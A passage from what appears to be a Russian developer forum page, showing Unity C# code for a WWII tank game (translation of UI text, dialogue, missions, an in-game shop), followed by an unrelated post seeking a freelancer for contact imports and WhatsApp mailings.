        currentTexts = new Dictionary<string, string>();

        foreach (var item in englishTexts)
        {
            StartCoroutine(TranslateText(item.Key, item.Value, language));
        }
    }

    private IEnumerator TranslateText(string key, string text, Language language)
    {
        string targetLanguage = GetLanguageCode(language);
        string url = $"https://translate.googleapis.com/translate_a/single?client=gtx&sl=en&tl={targetLanguage}&dt=t&q={UnityWebRequest.EscapeURL(text)}";
        UnityWebRequest request = UnityWebRequest.Get(url);
        yield return request.SendWebRequest();

        if (request.result == UnityWebRequest.Result.Success)
        {
            string translatedText = ParseTranslation(request.downloadHandler.text);
            currentTexts[key] = translatedText;
            UpdateUI();
        }
        else
        {
            Debug.LogError("Translation failed: " + request.error);
        }
    }

    private string GetLanguageCode(Language language)
    {
        switch (language)
        {
            case Language.Russian: return "ru";
            case Language.Spanish: return "es";
            case Language.French: return "fr";
            case Language.German: return "de";
            case Language.Chinese: return "zh";
            default: return "en";
        }
    }

    private string ParseTranslation(string json)
    {
        return json.Split('"')[1];
    }

    private void UpdateUI()
    {
        GameObject.Find("StartButton").GetComponentInChildren<Text>().text = currentTexts["startButton"];
        GameObject.Find("SettingsButton").GetComponentInChildren<Text>().text = currentTexts["settingsButton"];
        GameObject.Find("ExitButton").GetComponentInChildren<Text>().text = currentTexts["exitButton"];
        GameObject.Find("MainMenu").GetComponentInChildren<Text>().text = currentTexts["mainMenu"];
        GameObject.Find("OptionsMenu").GetComponentInChildren<Text>().text = currentTexts["optionsMenu"];
    }
}

public class DialogueManager : MonoBehaviour
{
    public Text dialogueText;
    public AudioSource audioSource;
    public AudioClip[] dialogueClips;
    private Queue<string> sentences;
    private Queue<AudioClip> audioClips;

    void Start()
    {
        sentences = new Queue<string>();
        audioClips = new Queue<AudioClip>();
    }

    public void StartDialogue(Dialogue dialogue)
    {
        sentences.Clear();
        audioClips.Clear();

        foreach (string sentence in dialogue.sentences)
        {
            sentences.Enqueue(sentence);
        }

        foreach (AudioClip clip in dialogue.dialogueClips)
        {
            audioClips.Enqueue(clip);
        }

        DisplayNextSentence();
    }

    public void DisplayNextSentence()
    {
        if (sentences.Count == 0)
        {
            EndDialogue();
            return;
        }

        string sentence = sentences.Dequeue();
        AudioClip clip = audioClips.Dequeue();

        StopAllCoroutines();
        StartCoroutine(TypeSentence(sentence));
        PlayAudioClip(clip);
    }

    IEnumerator TypeSentence(string sentence)
    {
        dialogueText.text = "";
        foreach (char letter in sentence.ToCharArray())
        {
            dialogueText.text += letter;
            yield return null;
        }
    }

    void PlayAudioClip(AudioClip clip)
    {
        audioSource.Stop();
        audioSource.clip = clip;
        audioSource.Play();
    }

    void EndDialogue()
    {
        Debug.Log("End of conversation.");
    }
}

[System.Serializable]
public class Dialogue
{
    public string[] sentences;
    public AudioClip[] dialogueClips;
}

public class DialogueTrigger : MonoBehaviour
{
    public Dialogue dialogue;
    private DialogueManager dialogueManager;

    void Start()
    {
        dialogueManager = FindObjectOfType<DialogueManager>();
    }

    void OnTriggerEnter(Collider other)
    {
        if (other.CompareTag("Player"))
        {
            dialogueManager.StartDialogue(dialogue);
        }
    }
}

public class Character
{
    public string name;
    public string role;
    public int health;
    public int strength;
    public int intelligence;

    public Character(string name, string role, int health, int strength, int intelligence)
    {
        this.name = name;
        this.role = role;
        this.health = health;
        this.strength = strength;
        this.intelligence = intelligence;
    }
}

public class Tank
{
    public string model;
    public int armor;
    public int firepower;
    public int speed;

    public Tank(string model, int armor, int firepower, int speed)
    {
        this.model = model;
        this.armor = armor;
        this.firepower = firepower;
        this.speed = speed;
    }
}

public class Mission
{
    public string title;
    public string description;
    public List<Character> charactersInvolved;
    public List<Tank> tanksInvolved;
    public string reward;

    public Mission(string title, string description, List<Character> charactersInvolved, List<Tank> tanksInvolved, string reward)
    {
        this.title = title;
        this.description = description;
        this.charactersInvolved = charactersInvolved;
        this.tanksInvolved = tanksInvolved;
        this.reward = reward;
    }
}

public class CurrencyManager : MonoBehaviour
{
    public int playerCurrency = 1000; // Начальная валюта игрока

    private Dictionary<string, int> itemPrices = new Dictionary<string, int>();

    void Start()
    {
        itemPrices["HealthPotion"] = 100;
        itemPrices["StrengthPotion"] = 150;
        itemPrices["IntelligencePotion"] = 200;
    }

    public bool PurchaseItem(string itemName)
    {
        if (itemPrices.ContainsKey(itemName) && playerCurrency >= itemPrices[itemName])
        {
            playerCurrency -= itemPrices[itemName];
            AdjustPrices(itemName);
            return true;
        }
        return false;
    }

    private void AdjustPrices(string purchasedItem)
    {
        // Увеличить цену купленного предмета
        itemPrices[purchasedItem] = Mathf.RoundToInt(itemPrices[purchasedItem] * 1.1f);

        // Уменьшить цену остальных предметов
        foreach (var item in itemPrices.Keys)
        {
            if (item != purchasedItem)
            {
                itemPrices[item] = Mathf.RoundToInt(itemPrices[item] * 0.9f);
            }
        }
    }

    public int GetItemPrice(string itemName)
    {
        if (itemPrices.ContainsKey(itemName))
        {
            return itemPrices[itemName];
        }
        return -1;
    }
}

// Пример создания персонажей
Character ivan = new Character("Иван Смирнов", "Командир", 100, 80, 70);
Character anna = new Character("Анна Кузнецова", "Стратег", 90, 60, 90);
Character mikhail = new Character("Михаил Лебедев", "Инженер", 85, 70, 80);
Character elena = new Character("Елена Ростова", "Разведчик", 80, 75, 85);
Character nikolai = new Character("Николай Волков", "Противник", 95, 85, 60);

// Пример создания танков
Tank t34 = new Tank("Т-34", 100, 90, 60);
Tank tiger = new Tank("Тигр", 120, 100, 50);
Tank proriv = new Tank("Прорыв", 130, 110, 55);

List<Character> mission1Characters = new List<Character> { ivan, anna, mikhail };
List<Tank> mission1Tanks = new List<Tank> { t34 };

Mission mission1 = new Mission("Операция 'Смерть нацизму!'", "Уничтожить вражеский штаб.", mission1Characters, mission1Tanks, "Медаль за отвагу");

List<Character> mission2Characters = new List<Character> { elena, nikolai };
List<Tank> mission2Tanks = new List<Tank> { tiger };

Mission mission2 = new Mission("Разведка боем", "Собрать информацию о вражеских позициях.", mission2Characters, mission2Tanks, "Повышение в звании");

List<Character> mission3Characters = new List<Character> { ivan, elena, nikolai };
List<Tank> mission3Tanks = new List<Tank> { t34, tiger, proriv };

Mission mission3 = new Mission("Прорыв", "Прорвать оборону противника и захватить ключевые позиции.", mission3Characters, mission3Tanks, "Орден Мужества");

List<Character> mission4Characters = new List<Character> { anna, mikhail };
List<Tank> mission4Tanks = new List<Tank> { t34 };

Mission mission4 = new Mission("Оборона рубежа", "Защитить стратегически важный рубеж от наступающих сил противника.", mission4Characters, mission4Tanks, "Медаль за оборону");

List<Character> mission5Characters = new List<Character> { ivan, anna, elena };
List<Tank> mission5Tanks = new List<Tank> { tiger };

Mission mission5 = new Mission("Контратака", "Организовать контратаку и отбросить противника.", mission5Characters, mission5Tanks, "Медаль за храбрость");

List<Mission> missions = new List<Mission> { mission1, mission2, mission3, mission4, mission5 };

void StartMissions()
{
    foreach (Mission mission in missions)
    {
        Debug.Log("Начало миссии: " + mission.title);
        Debug.Log("Описание: " + mission.description);
        Debug.Log("Награда: " + mission.reward);
    }
}

Разработка   Игра   C#   Visual Studio 2022  

1724   0   17:57, 16th July, 2024


Где можно найти фрилансера для выполнения поступающих задач, на постоянной основе?

Добрый день. Нуждаемся в специалисте который сможет ипортировать базы номеров с формата ексель в телефон, а так же который смог бы заниматься массовой рассылкой сообщений в вотсап уже имеющейся базе клиентов. Заранее благодарна.